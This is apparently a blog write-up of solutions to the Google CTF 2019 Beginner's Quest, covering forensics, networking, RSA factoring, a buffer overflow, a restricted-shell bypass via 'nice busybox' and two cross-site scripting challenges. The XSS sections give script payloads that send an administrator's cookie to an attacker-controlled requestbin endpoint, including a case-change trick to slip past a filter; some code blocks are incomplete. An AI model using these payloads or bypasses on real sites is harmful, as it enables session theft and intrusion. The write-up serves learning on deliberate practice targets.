# Google CTF 2019 Beginner's Quest

## August 2, 2019

Capture the Flag is a software security challenge where users compete to discover flags by solving puzzles and exploiting software vulnerabilities.

Google’s CTF event offers a Beginner’s Quest, a challenge that gives new players with little CTF background a taste of what CTF is all about. The challenge can be found here.

The Beginner’s Quest follows a cute story of you, an alien, who is on the search for cauliflowers on Earth. As the story develops, multiple paths will emerge that lead to different endings. Though I didn’t get to solve every question, I’ll discuss the ones I did end up figuring out.

(Pictured above: The problems I solved in the storyline. Each circle represents a problem.)

# 1. Enter Space-Time Coordinates [Misc]

For the first challenge, we download an attachment containing 2 files: `log.txt` and `rand2`. Opening up the text file shows us the following:

```0: AC+79 3888{6652492084280_198129318435598}
1: Pliamas Sos{276116074108949_243544040631356}
2: Ophiuchus{11230026071572_273089684340955}
3: Pax Memor -ne4456 Hi Pro{21455190336714_219250247519817}
4: Camion Gyrin{235962764372832_269519420054142}```

This seems to just be gibberish so we move on to `rand2`. It’s an executable file, so we run it and it show us some information and a prompt. If we type some random values in, the program says something about a flag.

```Travel coordinator
0: AC+79 3888 - 217316834491857, 30379540263198
1: Pliamas Sos - 175593592228293, 144464095350450
2: Ophiuchus - 132049800244834, 118105083609343
3: Pax Memor -ne4456 Hi Pro - 146479542780816, 197951780652440
4: Camion Gyrin - 178790404294730, 43595678182385
5: CTF - <REDACTED>

>>> 123
>>> 123
Arrived somewhere, but not where the flag is. Sorry, try again.```

With no luck here, we try something different. By simply opening up the program with any text editor, we see that the flag is shown in plain text! It’s unclear to me if the `log.txt` file had any use or if it was just meant to be a red herring.

`CTF{welcome_to_googlectf}`

# 2. Satellite [Networking]

Downloading the attachment, we get two files again: `init_sat` and `README.pdf`. Opening up `README.pdf`, we find a paragraph of text about the storyline, accompanied with a picture:

The satellite is labeled with the word “osmium”.

If we then run `init_sat`, we get a prompt:

```Hello Operator. Ready to connect to a satellite?
Enter the name of the satellite to connect to or 'exit' to quit```

Typing “osmium”, we get another prompt:

```Establishing secure connection to osmium satellite...
Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect.```

Typing b results in “Insufficient privileges” and “c” disconnects from the satellite. The only interesting command is (a), which shows:

`Username: brewtoot password: ********************	166.00 IS-19 2019/05/09 00:00:00	Swath 640km	Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m	Daily acquisition capacity: 220,000km²	Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E`

A link to a Google doc! Inside the doc we find `VXNlcm5hbWU6IHdpcmVzaGFyay1yb2NrcwpQYXNzd29yZDogc3RhcnQtc25pZmZpbmchCg==`, which looks like a base64 encoded string. If we use an online tool to decode this, we get:

```Username: wireshark-rocks

It’s not a flag, but it’s a very useful hint! “Sniffing” in the context of networking means monitoring network connections, which is something we can do with a tool called Wireshark.

I don’t have Wireshark installed, so I used the Linux command `strace`. Re-running the executable with `strace ./init_sat`, we see connections to the ip address `34.76.101.29:1337` during execution.

What happens if we connect to it?

`nc 34.76.101.29 1337`

```Welcome. Enter (a) to display config data, (b) to erase all data or (c) to disconnect

>>> a
Username: brewtoot password: CTF{4efcc72090af28fd33a2118985541f92e793477f}	166.00 IS-19 2019/05/09 00:00:00	Swath 640km	Revisit capacity twice daily, anywhere Resolution panchromatic: 30cm multispectral: 1.2m	Daily acquisition capacity: 220,000km²	Remaining config data written to: https://docs.google.com/document/d/14eYPluD_pi3824GAFanS29tWdTcKxP_XUxx7e303-3E```

We are shown the same prompt as when we ran the program locally. However this time, the flag isn’t censored!

`CTF{4efcc72090af28fd33a2118985541f92e793477f}`

# 3A. Home Computer [Forensics]

We download the provided attachments again, and see that there is one file provided to us: `family.ntfs`.

A file system! Let’s mount it and see what’s inside. On my MacBook, this means renaming `family.ntfs` to `family.dmg`, opening it up, and then accessing it at `/Volumes/family/` in my terminal window.

Running `ls -l` at the root directory, we see that we have:

```-rwxr-xr-x  1 victor  staff      0 12 Jun 17:37 BOOTNXT
drwxr-xr-x  1 victor  staff   4096 12 Jun 17:37 Program Files
drwxr-xr-x  1 victor  staff   4096 12 Jun 17:37 Program Files (x86)
-rwxr-xr-x  1 victor  staff      0 12 Jun 17:37 SSUUpdater.log
-rwxr-xr-x  1 victor  staff      0 12 Jun 17:37 Setup.log
drwxr-xr-x  1 victor  staff      0 12 Jun 17:37 Users
drwxr-xr-x  1 victor  staff  16384 12 Jun 17:38 Windows
-rwxr-xr-x  1 victor  staff      0 12 Jun 17:37 bootmgr
-rwxr-xr-x  1 victor  staff      0 12 Jun 17:37 pagefile.sys
-rwxr-xr-x  1 victor  staff      0 12 Jun 17:37 swapfile.sys```

It seems like most of the files in here are empty. Let’s go digging to see if we can find anything useful.

After some poking around, we stumble upon the folder `/Users/Family/Documents`, which contains a text file called `credentials.txt`. That looks promising!

Opening it up, we see that it says:

`I keep pictures of my credentials in extended attributes.`

Extended attributes are name:value pairs associated with files. We can look at them with the Linux `xattr` command.

```>>> xattr credentials.txt
FILE0
>>> xattr -l credentials.txt
FILE0:
00000000  89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52  |.PNG........IHDR|
00000010  00 00 04 D2 00 00 01 53 08 02 00 00 00 73 B9 B6  |.......S.....s..|
00000020  5E 00 00 00 03 73 42 49 54 08 08 08 DB E1 4F E0  |^....sBIT.....O.|
00000030  00 00 00 19 74 45 58 74 53 6F 66 74 77 61 72 65  |....tEXtSoftware|
00000040  00 67 6E 6F 6D 65 2D 73 63 72 65 65 6E 73 68 6F  |.gnome-screensho|
00000050  74 EF 03 BF 3E 00 00 20 00 49 44 41 54 78 9C EC  |t...>.. .IDATx..|
00000060  DD 79 60 0C F7 FF 07 FE D9 DC F7 E1 48 DC 67 2E  |.y`.........H.g.|
...```

The output looks like an hex-encoded PNG file. Using an online tool to convert this back into an image, we get:

`CTF{congratsyoufoundmycreds}`

# 4A. Government Agriculture Network [Web]

This challenge simply links us to https://govagriculture.web.ctfcompetition.com. We see a page that looks like a forum where users can share text and images with others.

When we type into the text box and submit a post, we get the response:

`Your post was submitted for review. Administrator will take a look shortly.`

“Administrator will take a look shortly.” is a red flag. Our task here is probably to take advantage of a XSS (cross site scripting) vulnerability to steal cookies (which are used for authentication purposes) from the admin when they take a look at our post.

XSS works by “injecting” some Javascript code into the web component. When other users (involuntarily) load up this component, the Javascript code will execute and perform some action.

In our case, we can embed Javascript into our message in the text box that sends the user’s cookie in a request to a server that we control. Then we can inspect the request and find the cookie.

Personally, I used http://requestbin.com to create a dummy endpoint to receive the cookie. In just a few clicks, my endpoint is setup as https://en1zpwi12vix8.x.pipedream.net. Next, I write some Javascript enclosed in a `<SCRIPT>` tag into the textbox and submit it.

```<SCRIPT>
httpRequest = new XMLHttpRequest();
httpRequest.send();
</SCRIPT>```

Shortly after, our request arrives in the requestbin web interface, and the flag is found inside the cookie we sent!

`CTF{8aaa2f34b392b415601804c2f5f0f24e}`

# 5A. STOP GAN [PWN]

This challenge gives us an address and a port to look at - `buffer-overflow.ctfcompetition.com 1337`, in addition to a download that contains files `bof` and `console.c`.

When we connect to the network with `nc buffer-overflow.ctfcompetition.com 1337`, we are greeted with:

```Your goal: try to crash the Cauliflower system by providing input to the program which is launched by using 'run' command.
Bonus flag for controlling the crash.

Console commands:
run
quit```

Pretty straightforward. This is running the code in `console.c`, which takes character input after the user enters `run`, and feeds the character input into `bof`.

The task is called “buffer-overflow” so presumably all we need to do is give the program an input larger than it can hold. By inputting a few hundred random characters, we get the first flag.

```CTF{Why_does_cauliflower_threaten_us}
Cauliflower systems never crash >>
segfault detected! ***CRASH***```

`CTF{Why_does_cauliflower_threaten_us}`

The End (Maybe) : This leads us to our first ending. This challenge also has a second flag, but this is where I stopped.

# 3B. Work Computer [Sandbox]

For this challenge all we get is `readme.ctfcompetition.com 1337`. When we connect with `nc readme.ctfcompetition.com 1337`, all we get is a blank screen with an arrow.

`>`

After typing something random, we get an error “No such file or directory”. So it appears that we’re in some sort of command console.

```> a
error: No such file or directory
> ls
ORME.flag

It’s clear that the goal here is to try to read the contents of either of these two flag files. The catch is that we have limited tools at our disposal. Commands that we would traditionally use to print the contents of a file like `cat` or `less` don’t exist.

```> cat README.flag
error: No such file or directory```

And as an additional twist, the `ORME.flag` file doesn’t have read permissions. As expected, obvious commands that come to mind like `chmod` don’t exist.

```> ls -l README.flag
-r--------    1 1338     1338            28 Jul 18 04:59 README.flag
> ls -l ORME.flag
----------    1 1338     1338            33 Jul 18 04:59 ORME.flag
> chmod 777 ORME.flag
error: No such file or directory```

If we move around the filesystem, we find `/bin`, which contains a bunch of commands that we might find useful.

One command that caught my eye was `makemime`. This is used to create MIME-formatted messages from files, which are used for emails.

What if we were to encode the flag as an email?

```> makemime ./README.flag
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="1416359328-2058771154-1294084337"

--1416359328-2058771154-1294084337
Content-Type: application/octet-stream; charset=us-ascii
Content-Transfer-Encoding: base64

Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==
--1416359328-2058771154-1294084337--```

The output tells us the contents are encoded in base64. If we grab the string `Q1RGezRsbF9ENDc0XzVoNGxsX0IzX0ZyMzN9Cg==` and throw it into an online base64 decoder, we get our first flag!

`CTF{4ll_D474_5h4ll_B3_Fr33}`

## Solution 2 for both flags:

An alternate solution is to investigate the `busybox` command, which is also found in `/bin`.

When we try to call `busybox`, we get an interesting response.

```> busybox
busybox can not be called for alien reasons.```

Alien reasons sounds fishy. If we look up what BusyBox is, Google will tell us that “BusyBox is a software suite that provides several Unix utilities in a single executable file.” We can find a list of busybox commands here. These include several commands of interest, such as `chmod` and `cat`, which we could use to print the flag.

Now we just need a method to get around this “alien reasons” guard. There exists a handful of linux commands that take other commands as arguments. For example, if we look at the `time` command, we see that it takes a command and arguments after the command. It acts as a wrapper for calling the coommand we want.

`time [options] command [arguments...]`

Surprisingly, this lets us get around the “alien reasons” that prevented us from using `busybox` ourselves. Some other commands we can also do this with are `env`, `nice`, and `setsid`.

So now we can get the flags with the commands we know and love by prepending one of the aforementioned commands!

```> nice busybox chmod 777 ORME.flag
CTF{4ll_D474_5h4ll_B3_Fr33}
> nice busybox cat ORME.flag
CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}```

`CTF{4ll_D474_5h4ll_B3_Fr33}`

`CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}`

# 4B. Cookie World Order [Web]

Similar to Government Agriculture Network [Web], all we get is a link to a website https://cwo-xss.web.ctfcompetition.com/.

The page looks like a video livestream, where users can comment in a chat room on the side.

When we type into the text box and send the message, it shows up in the chat room, as expected.

This chat room is the vulnerability that we will take advantage of. The URL, cwo-xss.web.ctfcompetition.com, confirms that we need to use an XSS attack again, probably to steal cookies from the Admin, who we see is already in the chat room.

We can potentially enter Javascript code into the chat room, and when the text is rendered on the webpages of other users who have the chat room loaded, our script will execute.

As we did previously, we will write a short script that sends the user’s cookie in a request to a server that we control. Then we can inspect the request and find the cookie.

However, this time the web server is slightly smarter. Any input that contains the string `script` or `alert` is sanitized, and the output is shown as “HACKER ALERT”. Luckily for us, with a bit more testing we find that these checks are not case sensitive, so `SCRIPT` will work fine.

So once again, we enclose our Javascript code in a `<SCRIPT>` tag and send it off as a message.

```<SCRIPT>
httpRequest = new XMLHttpRequest();
httpRequest.send();
</SCRIPT>```

And with that, a new request pops up in the requestbin web interface, and the flag is revealed to us.

`CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r}`

# 5B. Crypto Caulingo [Crypto]

The attachment for this challenge contains a text file containing a public RSA key and a message (n, e, msg), and a document `project_dc.pdf`, which contains important information about how we can crack the private key to decrypt the message.

For those unfamiliar with RSA, it is an algorithm used to encyrpt and decrypt messages that takes advantage of the difficulty in factoring the product of two very large prime numbers (read more on wikipedia).

The challenge here is to figure out the two prime factors of `n`, which unfortunately for us is very large (617 digits).

Normally this task would be nearly impossible, but the document provided to us states an additional constraint:

```A × P ≈ B × Q

or more specifically, the difference between A × P and B × Q is less than 10000, where

1 ≤ A, B ≤ 1000```

One way to approach factoring very large primes is to use Fermat’s factorization algorithm. It uses the fact that if we can represent a number as a difference of squares, we know its factors as well:

`n = p^2 - q^2 = (p - q) (p + q)`

Rearranging, we see that

`p^2 - n = q^2`

So the algorithm works trying various values of `p^2`, and then checking if `p^2 - n` is a perfect square. If it is, we are done!

The basic algorithm is most effective when there is a factor that is close to `sqrt(n)`. However, we can modify the algorithm by using it on `n * A * B`:

```Instead of directly solving:
n = p * q

We solve:
n * A * B = (A * p) * (B * q)
and then we can find p and q with
gcd(N, p * A) = p
gcd(N, q * B) = q

(We only know the two above statements are true because p > A and q > B, so p cannot divide A and q cannot divide B)```

We know that the difference between the factors `(A * p)` and `(B * q)` is less than 10000, whereas the number of digits of the factors is around 300. Since 10000 is so small compared to 300 digits, we only need to check the first largest square greater than `n` in our Fermat factorization method.

And since A and B are between 1 and 1000, we can run a nested for loop to brute force the answer. Once we find a pair `(p,q)`, we use the Extended Euclidean Algorithm to find the multiplicative inverse of the given value `e = 65537` and the totient `(p - 1)(q - 1)`, which is the cracked private key.

Lastly, we can decrypt the message by taking its `d`th exponent `mod n`, and decoding its hexadecimal value.

Putting this all together in a script, this looks like:

``````# gmpy helps us do efficient computations on large numbers
import gmpy2

N = 17450892350509... # (truncated, given in msg.txt)
e = 65537
msg = 0x50fb0b3f17315f7d... # (truncated, given in msg.txt)

# Fermat's factorization method
def fermat(N):
a = gmpy2.isqrt(N) + 1
b = gmpy2.isqrt(a**2-N)

if not gmpy2.is_square(a**2 - N):
return [-1, -1]

return [a - b, a + b]

# Extended Euclidean Algorithm
def inverse(x, m):
a, b, u = 0, m, 1
while x > 0:
q = b // x # integer division
x, a, b, u = b % x, u, x, a - q * u
if b == 1: return a % m

# Iterate through possible values of A and B
for A in range(1, 2001):
for B in range(A + 1, 2001):
x, y = fermat(N * A * B)

P = gmpy2.gcd(N, gmpy2.mpz(x) * A)
Q = gmpy2.gcd(N, gmpy2.mpz(y) * B)

if (P != 1 and Q != 1):
d = inverse(e, (P-1)*(Q-1))
m = pow(msg, d, N)
print(bytes.fromhex(hex(m)[2:]).decode('utf-8'))
quit()

# You may notice that the for loops run from 1 to 2000 instead of 1 to 1000. This is because our base fermat factorization method is only meant to be used on odd numbers.``````

After running for around 7 seconds, the program prints the following:

```Hey there!

If you are able to decrypt this message, you must a life form with high intelligence!

Therefore, we would like to invite you to our dancing party!

`CTF{017d72f0b513e89830bccf5a36306ad944085a47}`

# 6B. Gate Lock [Hardware]

```-rw-------@ 1 victor  staff    24576 20 May 15:06 auth.sqlite
-rw-------@ 1 victor  staff      588 20 May 15:06 env_meta.txt
-rw-------@ 1 victor  staff        9 20 May 15:06 force_loaded.txt
-rw-------@ 1 victor  staff        0 20 May 15:06 ipban.txt
-rw-------@ 1 victor  staff  5799936 20 May 15:06 map.sqlite
-rw-------@ 1 victor  staff      783 20 May 15:06 map_meta.txt
-rw-------@ 1 victor  staff        9 20 May 15:06 mesecon_actionqueue
-rw-------@ 1 victor  staff    36864 20 May 15:06 players.sqlite
drwx------@ 3 victor  staff       96 20 May 07:49 schems
-rw-------@ 1 victor  staff      611 20 May 15:19 world.mt```

When we search up some of these file names, we eventually figure out this folder is a backup for a Minetest world! Minetest is an open source voxel game engine.

When we download and load up the world (with the required modpacks), our character is locked outside a gate that needs to be powered by a wire. Unfortunately for us, this wire is connected to a circuit that is a convoluted mess of AND, OR, and NOT gates, and 20 levers.

The challenge says “Flag format is binary surrounded by CTF{…}”, so it’s likely that the flag is the ordered lever positions (up = 1, down = 0) that power the circuit and open the door.

For those who don’t know how gates work, the image below shows what each gate looks like along with their logical output. 0 is “off” (dark blue in-game) and 1 is “on” (light blue in-game).

Image sourced from http://www.ee.surrey.ac.uk/Projects/CAL/digital-logic/gatesfunc/, Wale Sangosanya, 1997

For this challenge I worked slowly from the back to the front, marking levers and gates that had to be powered or unpowered with visual indicators (green or red wool). After slowly tracing through wire paths and marking my progress along the way, I managed to open the door by powering the circuit.

`CTF{01000010111001000001}`

THE END! YOU’VE WON! HURRAY!!!!!

And this brings us to the true ending of the Google CTF 2019 Beginner’s Quest. We finally get to meet the cauliflowers. Yay!